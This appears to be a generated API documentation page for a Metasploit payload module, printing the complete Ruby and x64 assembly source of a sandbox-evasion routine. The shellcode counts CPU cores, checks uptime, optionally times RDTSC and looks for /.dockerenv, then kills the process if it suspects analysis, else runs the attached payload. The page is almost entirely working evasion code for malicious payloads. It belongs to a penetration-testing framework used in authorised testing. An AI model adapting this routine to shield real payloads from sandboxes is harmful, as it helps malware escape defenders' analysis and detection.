Module: Msf::Payload::Linux::X64::SandboxEvasion

Defined in:
lib/msf/core/payload/linux/x64/sandbox_evasion.rb

Instance Method Summary collapse

Instance Method Details

#sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false) ⇒ Object



2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/core/payload/linux/x64/sandbox_evasion.rb', line 2

def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false)

  rdtsc_asm = ""
  if check_virt
    rdtsc_asm = %Q^
; ─────────────────────────────────────────────────────────────
; Check: Execution Latency via RDTSC
; ─────────────────────────────────────────────────────────────
check_rdtsc:
  xor eax, eax
  cpuid
  rdtsc
  shl rdx, 32
  or rax, rdx
  mov r8, rax

  xor eax, eax
  cpuid

  rdtsc
  shl rdx, 32
  or rax, rdx
  
  sub rax, r8
  
  xor ebx, ebx
  mov bx, 0x3E8
  cmp rax, rbx
  jge sandbox_detected   ; EXIT IF CYCLES >= 1000
    ^
  end

  docker_asm = ""
  if check_docker
    docker_asm = %Q^
; ─────────────────────────────────────────────────────────────
; Check: Container Detection via /.dockerenv existence
; ─────────────────────────────────────────────────────────────
check_docker:
  xor eax, eax
  push rax
  mov rax, 0x766e6572656b636f
  push rax
  mov rax, 0x642e2f2f2f2f2f2f
  push rax

  xor eax, eax
  mov al, 21
  mov rdi, rsp
  xor rsi, rsi
  syscall

  test rax, rax
  js clean_docker
  jmp sandbox_detected   ; EXIT IF DOCKERENV EXISTS

clean_docker:
  pop rax
  pop rax
  pop rax
    ^
  end

  asm = %Q^
_start:
  ; Save callee-saved registers per x64 convention
  push rbx
  push rbp
  push rdi
  push rsi
  push r12
  push r13
  push r14
  push r15

  xor eax, eax
  mov al, 128
  sub rsp, rax

; ─────────────────────────────────────────────────────────────
; Check: CPU cores via sched_getaffinity
; ─────────────────────────────────────────────────────────────
check_cores:
  xor eax, eax
  mov al, 204
  xor rdi, rdi
  xor rsi, rsi
  mov sil, 128
  mov rdx, rsp
  syscall
  
  test rax, rax
  js check_uptime
  
  mov rbx, [rsp]
  xor rcx, rcx
count_loop:
  test rbx, rbx
  jz evaluate_cores
  mov rax, rbx
  dec rax
  and rbx, rax
  inc rcx
  jmp count_loop

evaluate_cores:
  cmp rcx, #{cores}
  jl sandbox_detected

; ─────────────────────────────────────────────────────────────
; Check: System Uptime via sysinfo
; ─────────────────────────────────────────────────────────────
check_uptime:
  xor eax, eax
  mov al, 99
  mov rdi, rsp
  syscall
  
  test rax, rax
  js execute_optional_checks
  
  mov rax, [rsp]
  xor rbx, rbx
  mov bx, #{uptime}
  cmp rax, rbx
  jle sandbox_detected

execute_optional_checks:
#{rdtsc_asm}
#{docker_asm}

  jmp pass               ; ALL CHECKS PASSED, JUMP TO PAYLOAD

; ─────────────────────────────────────────────────────────────
; Sandbox Detected: Kill Process
; ─────────────────────────────────────────────────────────────
sandbox_detected:
  xor eax, eax
  mov al, 231
  xor edi, edi
  syscall

; ─────────────────────────────────────────────────────────────
; Clean Up & Execute
; ─────────────────────────────────────────────────────────────
pass:
  xor eax, eax
  mov al, 128
  add rsp, rax
  xor rax, rax
  xor rcx, rcx
  xor rdx, rdx
  xor r8, r8

  ; Restore callee-saved registers (reverse order)
  pop r15
  pop r14
  pop r13
  pop r12
  pop rsi
  pop rdi
  pop rbp
  pop rbx
^
  Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string
end